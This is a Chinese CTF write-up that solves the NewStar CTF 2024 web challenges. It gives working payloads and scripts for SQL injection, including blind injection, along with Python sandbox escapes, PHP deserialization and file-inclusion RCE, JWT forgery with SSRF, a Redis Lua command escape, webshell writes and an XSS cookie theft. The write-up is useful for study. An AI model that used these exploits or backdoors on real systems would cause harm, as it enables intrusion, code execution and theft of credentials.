WEEK1

headach3

考点: HTTP 请求包修改

提示head,抓包查看响应头,得到flag

会赢吗

考点:前端绕过合集

第一段:源码里找到第一段flag,ZmxhZ3tXQTB3

第二段:分析可知需要在控制台调用revealFlag函数向服务器发送POST请求到 /api/flag/4cqu1siti0n,得到第二段flag IV95NF9yM2Fs

1
revealFlag('4cqu1siti0n');

第三段:修改stateElement参数内容为解封,点击按钮触发事件得到flag,MXlfR3I0c1B

1
document.getElementById('state').textContent = '解封';

第四段:用插件禁用js,得到最后一段flag,fSkpKcyF9

四段拼接起来,base64解码,得到flag

智械危机

考点:代码混淆

题目提示robots.txt,访问发现一个php界面

源码如下,代码审计后门php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

加密流程是:post提交cmd和key,base解码key,cmd反转,md5加密的反转cmd等于解码后的key,最后将cmd解码

按照给出的逻辑,逆向加密一下,得到flag,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
import hashlib

def encode(cmd):
encoded_cmd = base64.b64encode(cmd.encode()).decode()
reversed_cmd = encoded_cmd[::-1]
md5_cmd = hashlib.md5(reversed_cmd.encode()).hexdigest()
key = base64.b64encode(md5_cmd.encode()).decode()
return encoded_cmd, key

cmd = "cat /flag"
encoded_cmd, key = encode(cmd)
print(f"cmd={encoded_cmd}&key={key}")

谢谢皮蛋

考点: sql 注入无绕过

输入不同的id得到不同的结果,可以确定是sql注入了

抓包可以看到参数被base64编码了,刚好前两天学了sqlmap的使用,直接试试sqlmap的tamper模块

使用–tamper=base64encode.py对输入的参数进行base64编码,一键脱库,得到flag

1
python sqlmap.py http://eci-2zeb4o4fzbdh0lzlc9h2.cloudeci1.ichunqiu.com/ --data="id=1" --tamper=base64encode.py --dump

PangBai 过家家(1)

考点:HTTP 请求头构造

第一关,说请求头部有一些信息

burp 抓包,发现 Location 字段存在路径,访问进入下一关

第二关和第三关分别 GET 和 POST 方式传入参数

1
2
http://127.0.0.1:21870/?ask=miao
say=hello

第四层需要伪造 UA 头,但是这个更标准,跟其他比赛完全不一样,借此也了解一下真正的格式

伪造的 UA 头需携带任意版本号

1
Papa/1.0

然后 POST 传入 玛卡巴卡阿卡哇卡米卡玛卡呣 即可,推荐使用 burp 修改

到第五关,要求用修改(PATCH)的方法提交一个补丁包

贴一下官 p 的解释

这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

如下方式发包即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168

--abc
Content-Disposition: form-data; name="file"; filename="1.zip"

123
--abc
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

返回内容如下:

将 cookie 重新设置下,放包,进入第六关

根据提示修改 level 的值为 0

将 cookie 重新修改,点击 从梦中醒来,即可得到 flag

WEEK2

你能在一秒内打出八句英文吗

考点:python脚本编写

逻辑就是获取页面上的8句英文,打开浏览器自动提交,让GPT写了个脚本,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

driver = webdriver.Chrome()
driver.get('http://eci-2ze34et4ylwxq2gontnc.cloudeci1.ichunqiu.com/start')
sentences = driver.find_element(By.ID, 'text').text.split('. ')

input_text = '. '.join(sentences)
input_box = driver.find_element(By.ID, 'user-input')
input_box.clear()
input_box.send_keys(input_text)

submit_button = driver.find_element(By.ID, 'submit-btn')
submit_button.click()

WebDriverWait(driver, 10).until(EC.url_changes(driver.current_url))

遗失的拉链

考点:源码泄露,md5强比较绕过

扫目录得到www.zip文件,访问下载得到源码,看到pizwww.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

使用数组绕过md5强比较,通配符绕过关键字绕过,得到flag

1
2
3
pizwww.php?new[]=1

star[]=2&cmd=system('more /f*');

谢谢皮蛋 plus

考点:sql联合注入 空格绕过

尝试sqlmap无果后开始手测

测试发现是双引号闭合,然后手动bypass发现过滤了空格和and

有回显直接用union select联合注入,使用/**/绕过空格,and基本没咋用,不用管,得到flag

1
2
3
4
5
6
7
-1"/**/UNION/**/SELECT/**/1,database()#

-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctf"#

-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="Fl4g"/**/or/**/table_schema="ctf"#

-1"/**/union/**/select/**/1,group_concat(id,value)/**/from/**/ctf.Fl4g#

复读机

考点:基础的ssti

测试发现是标准的SSTI,直接使用fenjing工具一把梭,得到flag

PangBai 过家家(2)

考点:git泄露,git的各种操作

1
githacker --url http://eci-2zegzaz5l01rzn59xpm2.cloudeci1.ichunqiu.com/.git/ --output-folder result

查看 Stash,发现存在后门文件,使用命令恢复后门文件

1
2
git stash list			// 查看所有stash
git stash pop // 从Stash 中释放内容,默认为恢复最新的内容到工作区

查看后门代码

1
2
3
4
5
6
7
8
if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

$也可以匹配换行符,在后面添加换行符绕过,按照要求传参即可得到flag

1
2
3
http://eci-2zegzaz5l01rzn59xpm2.cloudeci1.ichunqiu.com/BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a

papa=TfflxoU0ry7c&func=system&args=env

WEEK3

臭皮踩踩背

考点:python 沙箱逃逸__builtins__绕过

__builtins__被设置为空,可以使用python继承链来绕过

通过 python 继承链获取内置类, 然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。

1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat /flag")

臭皮的计算机

考点:python 沙箱逃逸 unicode 绕过

访问/calc路由,F12发现提供了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token

@app.route("/")
def index():
return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name

result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
os.remove(temp_script_path)

result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:

result_output = str(e)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)

把字母都过滤了,可以使用unicode编码绕过

1
𝒈𝒆𝒕𝒂𝒕𝒕𝒓(__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('', 𝒈𝒆𝒕𝒂𝒕𝒕𝒓('', 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [111, 115]))), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓('', 𝒈𝒆𝒕𝒂𝒕𝒕𝒓('', 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [115, 121, 115, 116, 101, 109])))(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('', 𝒈𝒆𝒕𝒂𝒕𝒕𝒓('', 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [99, 97, 116, 32, 47, 102, 108, 97, 103])))

Include Me

考点:文件包含伪协议读取

考察php伪协议,使用data伪协议即可绕过

需要注意的是url中加号会被当成空格解析,所以再命令中随便加点东西规避掉空格就行

1
?iknow=1&me=data://text/plain;base64,MTw/PXN5c3RlbSgidGFjIC9mbGFnIik/PjEx

这「照片」是你吗(复现)

考点:静态界面目录穿越读文件,jwt 伪造,ssrf 读文件

进入一个登陆界面,查看源码发现提示

动态和静态区别?

静态页面:

定义:预先生成的HTML文件,内容固定,不随用户操作或时间变化而变化。

特点:服务器直接返回文件,访问速度快,但内容更新麻烦。

适用场景:适合内容不经常变动的小型网站。

示例:简单的个人博客,全部内容为HTML文件,无数据库支持。

动态页面:

定义:服务器端根据请求动态生成HTML内容,内容可以随用户操作、时间、数据库数据等变化而变化。

特点:内容灵活,但访问速度可能较慢,资源消耗大。

适用场景:适合内容经常更新、用户交互多的网站。

示例:新闻网站,内容从数据库中读取,每条新闻动态生成。

伪静态页面:

定义:通过URL重写技术,将动态URL转换成静态URL形式,内容是动态生成的。

特点:提高SEO友好度,URL简洁易读。

实现方式:使用Apache的mod_rewrite模块或Nginx的rewrite指令。

示例:将动态URL http://example.com/news.php?id=100 转换成 http://example.com/news/2023/10/title-of-news/

提示是静态文件,并且没有反代服务器之类的东西,纯静态界面,可以用路径穿越读任意文件

但是直接在浏览器中访问带 ../ 的路径,会先被浏览器按照网址路径规则解析一遍 ../,最终发出的并不是含这个字符串的路径,因此需要用发包软件发送过去。

根据响应包的 Server: Werkzeug/3.0.4 Python/3.13.0 可以知道是 python 后端,最常见的就是 flask 框架,常用的 Flask 主程序名为为 app.py, 读 app.py

得到源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
'admin': admin_pass,
'amiya': "114514"
}

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

@app.route('/')
def index():
return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response

@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp


@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)


if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)

有两个账号,admin 的密码是 32 位随机 uuid,有登陆次数限制所以不能爆破,secret_key 为六位数字, jwt 爆破然后伪造 admin 的 token

1
2
3
4
users = {
'admin': admin_pass,
'amiya': "114514"
}

先登陆普通用户,得到一个 jwt_token,使用工具 jwtcrrack 爆破纯数字得到 secret_key

再使用 jwt 工具伪造 admin 用户,得到伪造的 jwt_token

随便抓个包,访问 /admin 路由,将伪造的 cookie 替换了,成功访问,说明伪造成功

存在一个 flag 文件,直接路径穿越读 flag.py

1
from flag import get_random_number_string

flag.py 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
import os
import random

def get_random_number_string(length):
return ''.join([str(random.randint(0, 9)) for _ in range(length)])

get_flag = Flask("get_flag")

FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}")

@get_flag.route("/fl4g")
#如何触发它呢?
def flag():
return FLAG

if __name__ == "__main__":
get_flag.run(host="127.0.0.1",port=5001)

原则上直接访问 /fl4g 路由即可得到环境变量里的 flag,但是端口是开到内网下的 5001 端口下的,我们不能直接访问这时候就需要 ssrf 来读文件

刚好存在一个 /execute 路由,可以通过参数 api_address 传入指定的 ip 访问,利用 /execute 路由的 api_address 参数来 ssrf 读 /f14g 路由

1
2
3
4
5
6
7
8
9
10
@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

成功读取内网下的 /f14g 路由,获得 flag

blindsql1(复现)

考点:布尔盲注,waf 绕过

查学生信息,正常回显

插入单引号,无回显,查询失败,判断存在 sql 注入

插入注入语句 Alice’ or 1=1#,提示过滤了空格

使用 burp 跑一下常见的绕过字符,发现过滤了 union 等号 空格

union 被禁用,说明此时该使用盲注,我们能够通过插入 and 1 或者 and 0 来控制是否返回数据,由此可以使用布尔盲注

= 的绕过可以使用 like 或者 in 代替

空格和斜杠 / 被禁用,可以使用括号代替

然后写脚本来爆破得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests,string,time

url = ''

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快

print('[+] Trying:', c)

tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'

res = requests.get(url, params={'student_name': p})

if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break

WEEK4

blindsql2

考点: 时间盲注,waf 绕过

原本都放弃了,没想到第三周 wp 出了,照着改改就能得到 flag

主要就是无回显了,不能使用布尔盲注,可以使用时间盲注来判断字符,修改脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests,string,time

url = 'http://eci-2ze7m2tiqe023x5ry1dg.cloudeci1.ichunqiu.com/'

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快

print('[+] Trying:', c)

tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})and(SLEEP(2))#'

start_time = time.time()
res = requests.get(url, params={'student_name': p})
end_time = time.time()

if end_time - start_time > 2:
print('[*]bingo:', c)
result += c
print(result)
break

chocolate

第一层,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
global $cocoaLiquor_star;
global $what_can_i_say;
include("source.php");
highlight_file(__FILE__);

printf("什么?想做巧克力? ");

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="1337"){
die("可爱的捏");
}
if(preg_match("/[a-z]|\./i", $num)){
die("你干嘛");
}
if(!strpos($num, "0")){
die("orz orz orz");
}
if(intval($num,0)===1337){
print("{$cocoaLiquor_star}\n");
print("{$what_can_i_say}\n");
print("牢师傅如此说到");
}
}

跟 isctf 那个差不多,直接八进制绕过就行,使用换行或者空格绕过 strpos 检测

1
num=%0a02471

看着很奇怪的字符,使用 rot13 解密

1
2
3
gur arkg yriry vf : pbpbnOhggre_fgne.cuc

the next level is : cocoaButter_star.php

第二层,md5 大套餐

第一小层 使用强比较绕过,使用 burp 发包

第二小层 一个数的 md5 值跟另一个数的值和 md5 值都相等

第三小层 MD5 截断绕过

payload 如下,不再详细说了

1
2
3
4
5
6
7
8
POST /cocoaButter_star.php?cat=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F8%D2w%90%A6%BE%D6%D9%E1B%C8%A6%16%22%08%EB%03%9C%A0%F0%1D%27%C1%25%2C%0Ez%9A.%3A97%91%E9%11%CC%DE%CB%1F%AE%EF%1Bl%5C%DA9%85Q%25%E5il%D3%90%941%0B%C4%C1%8E%C9%8E%FC%CBf%DA%B0%EE%F6%11X%2C%5B%F9b%D1%E7%16M%C5%A7%24%12B%26%0D%97.%86%2B%00%5C_M%ED%C1%28N%C9.%06Gs%5E%28%A4k%99T%1F%07k%0Cp%AB%BFS%18H%5CF%3B%D2%B0%0A%2B8%B6&dog=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F8%D2w%90%A6%BE%D6%D9%E1B%C8%A6%16%22%08%EB%03%9C%A0p%1D%27%C1%25%2C%0Ez%9A.%3A97%91%E9%11%CC%DE%CB%1F%AE%EF%1Bl%5C%DA%B9%85Q%25%E5il%D3%90%941%0B%C4%C1%0E%C9%8E%FC%CBf%DA%B0%EE%F6%11X%2C%5B%F9b%D1%E7%16M%C5%A7%24%12%C2%26%0D%97.%86%2B%00%5C_M%ED%C1%28N%C9.%06Gs%5E%28%A4k%99T%9F%06k%0Cp%AB%BFS%18H%5CF%3B%D20%0A%2B8%B6 HTTP/1.1
Host: 127.0.0.1:31228
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://127.0.0.1:31228

moew=0e215962017&wof=40111670

第三层,一个简单的反序列化,没啥意思,最后的过滤可以替换大小写绕过,不知道为啥

1
2
3
if(preg_match('/chocolate/', $food)){
throw new Exception("Error $milk",1);
}

最终 payload 如下:

1
O:9:"Chocolate":2:{s:3:"cat";s:3:"???";s:5:"kitty";s:3:"???";}

没有参数,php://input 直接读 POST 传参的内容,所以直接把 payload 放入 POST 位置即可

三个参数都有了,最后一个填入值会显示过苦或过甜,直接爆破,按照长度排一下,得到 flag

ezcmsss

扫一下目录,发现有 www.zip 源码备份文件,访问下载

在 start.sh 中发现管理员账号密码,并且注释提示在 admin.php 中使用,使用账号密码登陆后台

在 readme.txt 中可以看到更新日志,发现目前版本为 1.95,网上可以搜到一个文件上传漏洞

网上的利用方式是利用 vps 远程下载木马压缩包,但是这里容器不出网,我们需要换一种方式上传一句话木马

WEEK5

臭皮吹泡泡

考点:php 反序列化

原本以为 pop 链已经没啥难的了,还是太菜了,这道题真是在我认知之外了,太强了,好好学习一下

本题源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
error_reporting(0);
highlight_file(__FILE__);

class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf;
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}



$signin = $_GET['new_star[ctf'];
if ($signin) {
$signin = base64_decode($signin);
unserialize($signin);
}else{
echo "你是真正的CTF New Star 吗? 让我看看你的能力";
}

这题需要从两个方面着手

首先发现 get_flag() 函数可以写入自定义的php代码到code.php,进行执行命令

但是执行完成后 unlink($tmpfile) 就会把文件直接删除,所以 $this->time 是另一个利用点

需要使 $this->time 的时间足够长,从而使脚本能够正常执行,完成条件竞争

第一条链子 payload 从 happy 出发,将 sign_in 赋值为 ctf 对象触发 __tostring() 魔术方法

到这里似乎就没办法了 ($this->ctf)(1); 不能直接用,此时开始着手构造第二条链子

第二条链子 exp 从 let_me 出发,设置一下两个关键的属性,将 $let_me 设置为要执行的代码,将 $time 赋值为 ctf 对象,触发 __tostring() 魔术方法

两条链子走到一起了都到 ctf 了,第二条链子将 ctf 的属性设置为die,从而使第二条链子走到死路,echo (“we need more”.$this->time); 就会断掉,从而下一句删除指令不会执行

第一条链子到($this->ctf)(1);将ctf属性赋值为array($exp,”get_flag”),从而调用 let_me 类里面的 get_flag 函数,写入恶意代码,执行命令

paylaod 如下:

1
2
3
4
5
6
7
8
9
10
$payload  = new happy();
$payload ->sign_in = new ctf();

$exp = new let_me();
$exp->let_me="?> <?php system('cat /flag')";
$exp->time=new ctf();
$exp->time->ctf="die";

$payload ->sign_in->ctf = array($exp,"get_flag");
echo base64_encode(serialize($payload));

ez_redis

目录扫描发现 www.zip

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
if(isset($_POST['eval'])){
$cmd = $_POST['eval'];
if(preg_match("/set|php/i",$cmd))
{
$cmd = 'return "u are not newstar";';
}
$example = new Redis();
$example->connect($REDIS_HOST);
$result = json_encode($example->eval($cmd));
echo '<h1 class="subtitle">结果</h1>';
echo "<pre>$result</pre>";
}
?>

不难看出这是 Redis 语法,过滤了 set 和 php ,很难通过主从复制等方法来 getshell

搜索漏洞,发现 redis 2022 年一个漏洞可以进行命令执行,去掉给出 payload 的 eval 函数即可

1
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag", "r"); local res = f:read("*a"); f:close(); return res

sqlshell

利用 sql 语句写 shell 执行命令或连接一句话木马,脚本如下:

1
2
3
4
5
import requests

url = 'http://192.168.109.128:8889'
payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/3.php\'#'
res = requests.get(url,params={'student_name': payload})

写入一句话木马后,连接执行命令即可

PangBai 过家家(5)

进入题目,需要写信,让 pangbai 读,典型的 xss 特征

从 bot.ts 中可以看出,flag 在 cookie 里

1
2
3
4
5
6
7
8
await page.setCookie({
name: 'FLAG',
value: process.env['FLAG'] || 'flag{test_flag}',
httpOnly: false,
path: '/',
domain: 'localhost:3000',
sameSite: 'Strict'
});

但是输入的内容都经过了 safe_html 过滤

1
2
3
4
5
6
function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '')
}

php 正则知识点

1
2
3
● i 标志:忽略大小写
● g 标志:全局匹配,找到所有符合条件的内容
● m 标志:多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配(与之对应的是 s 标志,表示单行模式,将换行符看作字符串中的普通字符)

构造如下 payload 就能弹窗

1
2
3
<script
>alert(1)</script
>

成功弹窗

写一个 JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信),这样我们就能查看到了。payload 如下:

1
2
3
4
5
6
7
8
9
<script
>
fetch('/api/send', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

发送之后返回,点击信件即可得到 flag